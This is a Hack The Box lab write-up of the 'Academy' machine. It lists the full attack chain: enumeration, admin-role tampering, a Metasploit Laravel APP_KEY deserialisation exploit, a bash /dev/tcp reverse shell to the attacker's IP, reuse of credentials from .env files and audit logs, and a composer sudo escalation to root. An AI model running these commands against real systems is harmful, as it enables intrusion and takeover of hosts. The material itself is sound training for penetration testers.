Academy - [HTB]

Cover Image for Academy - [HTB]
Marmeus
Marmeus

Introduction

Academy is an easy linux machine where the attacker will have to find the way to register as administrator in the HTB Academy web page in order to get access to a "Launch Planner". Then, accessing to a subdomain the attacker will have to gather useful information for a metasploit exploit to get a reverse shell. After that, looking inside the web page files he or she will find some credentials that can be use to retrieve the user flag and finally, the hacker will have to look through a lot of logs as a means to get some credentials and the way to become root.

Enumeration

As always, let's begin looking for open ports in the machine.

kali@kali:$ sudo nmap -sS -n -p- -T5 --open 10.10.10.215 -oN OpenPorts.txt
[sudo] password for kali: 
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 14:28 EST
Nmap scan report for 10.10.10.215
Host is up (0.041s latency).
Not shown: 65231 closed ports, 301 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx

Then, analyzing what is inside these ports in order to find some domains, versions, etc.

kali@kali:$ sudo nmap -sC -sV -p22,80,33060 10.10.10.215 -oN PortsInDepth.txt                                                                                                                 
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 14:33 EST                                                                                                                                                  
Nmap scan report for academy.htb (10.10.10.215)                                                                     
Host is up (0.041s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
|   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_  256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack The Box Academy
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=11/11%Time=5FAC3C99%P=x86_64-pc-linux-gnu%r(
SF:NULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPO
SF:ptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0
SF:b\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVer
SF:sionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,
SF:2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0f
SF:Invalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"
SF:)%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x0
SF:1\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCooki
SF:e,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\
SF:"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05
SF:\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY
SF:000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOption
SF:s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\
SF:x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\
SF:0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds

Despite the version of the SSH and HTTP service doens't provide more useful information, so let's have a look at some web pages.

Trying to get access to the web server with firefox, the server automatically redirects us to the domain academy.htb. Once added to the /etc/hosts file appears a HackTheBox page with login and register pages.

Academy web page

Using gobuster provides new files like admin.php. However, we don't have any credentials to get access to the administrator panel.

kali@kali:$ gobuster dir -t 20  -u http://academy.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://academy.htb/
[+] Threads:        20
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,txt
[+] Timeout:        10s
===============================================================
2020/11/12 08:04:01 Starting gobuster
===============================================================
/images (Status: 301)
/register.php (Status: 200)
/admin.php (Status: 200)
/index.php (Status: 200)
/login.php (Status: 200)
/config.php (Status: 200)
/home.php (Status: 302)
/server-status (Status: 403)
===============================================================

Explotation 1

Nonetheless, we can create an administrator accounts by intercepting the register request using burpsuite, modifying the roleid value parameter by a 1.

Academy login
Burp interception

Now, we are able to access to the admin's web page, obtaining a new domain (dev-staging-01.academy.htb) and what appears two user names (cry0l1t3 & mrb3n).

Academy Launch Planner

Accessing to this new domain, we obtain a lot of error logs and details about the web application.

Log pannel

The application use Laravel as application framework and it has an APP_KEY encoded in base64.

APP_KEY

Looking with searchsploit appears to be a metasploit module that can be used to obtain a reverse shell.

Searchsploit

Explotation 2

The exploit options are the following

msf6 > search laravel

Matching Modules
================

   #  Name                                              Disclosure Date  Rank       Check  Description
   -  ----                                              ---------------  ----       -----  -----------
   0  exploit/unix/http/laravel_token_unserialize_exec  2018-08-07       excellent  Yes    PHP Laravel Framework token Unserialize Remote Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/laravel_token_unserialize_exec

msf6 > use 0
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options

Module options (exploit/unix/http/laravel_token_unserialize_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   APP_KEY                     no        The base64 encoded APP_KEY string from the .env file
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Path to target webapp
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

In order to make the exploit works (obtaintining a reverse shell) we need to specify the APP_KEY, RHOSTS, VHOST and LHOST (Our kali IP) parameters.

msf5 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set RHOSTS 10.10.10.215
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST  dev-staging-01.academy.htb
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST  10.10.14.162
msf6 exploit(unix/http/laravel_token_unserialize_exec) > run

[*] Started reverse TCP handler on 10.10.14.162:4444 
[*] Command shell session 1 opened (10.10.14.162:4444 -> 10.10.10.215:56876) at 2020-11-12 12:38:21 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Because the mestasploit shell is a little bit gunky, I'm going to use netcat, python and bash in order to create another reverse shell which I can upgrade to get a better experience with the shell.

Upgrading the shell

Kali:

kali@kali:$ nc -nlvp 4445
listening on [any] 4445 ...

Academy:

python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@academy:/var/www/html/htb-academy-dev-01/public$ bash -i >& /dev/tcp/10.10.14.162/4445 0>&1

Kali:

www-data@academy:/var/www/html/htb-academy-dev-01/public$
python3 -c 'import pty; pty.spawn("/bin/bash")'
[Crtl+z]
stty raw -echo
fg
reset
screen
export TERM=screen
export SHELL=/bin/bash
stty rows 60 columns 235

Now we are able to use Ctrl+C and the keyboard arrows.

Privilege escalation 1

Inside the file /var/www/html/academy/.env there is a credential for the local database.

. . . 
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
. . . 

The password can be used to access to the system as cry0l1t3, which is part of the group adm.

www-data@academy:/var/www/html/htb-academy-dev-01/public$ su - cry0l1t3
su - cry0l1t3
Password: mySup3rP4s5w0rd!!
id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
python3 -c 'import pty; pty.spawn("/bin/bash")'
cry0l1t3@academy:~$ 

The adm group is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group.

In the file /var/log/audit/audit.log.3 there are some commands or data which looks like be encoded in hexadecimal.

grep -nv /usr/sbin/cron /var/log/audit/audit.log* | grep "cmd\|data"
Encoded data

Decoding the data into ASCII we obtain the following strings.

su mrb3n
mrb3n_Ac@d3my!
/usr/bin/composer exec bash
/usr/bin/composer exec sh
composer exec bash -c "bash"
/usr/bin/composer exec bash -c "bash" 
/usr/bin/composer exec cp /bin/sh pwn; chmod u+s ./pwn 
sudo -K

Privilege escalation 2

Now can we become the user mrb3n, who can execute the binary composer as root.

$ /bin/bash -i
mrb3n@academy:~$ sudo -l
[sudo] password for mrb3n: 
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer

A quick search in GTFObins provides a quick way of getting a shell as root using composer.

mrb3n@academy:~$ TF=$(mktemp -d)
mrb3n@academy:~$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:~$ sudo composer --working-dir=$TF run-script x
PHP Warning:  PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# id
uid=0(root) gid=0(root) groups=0(root)

Finally, I will like to thank the members of NetOn who help me out solving this machine.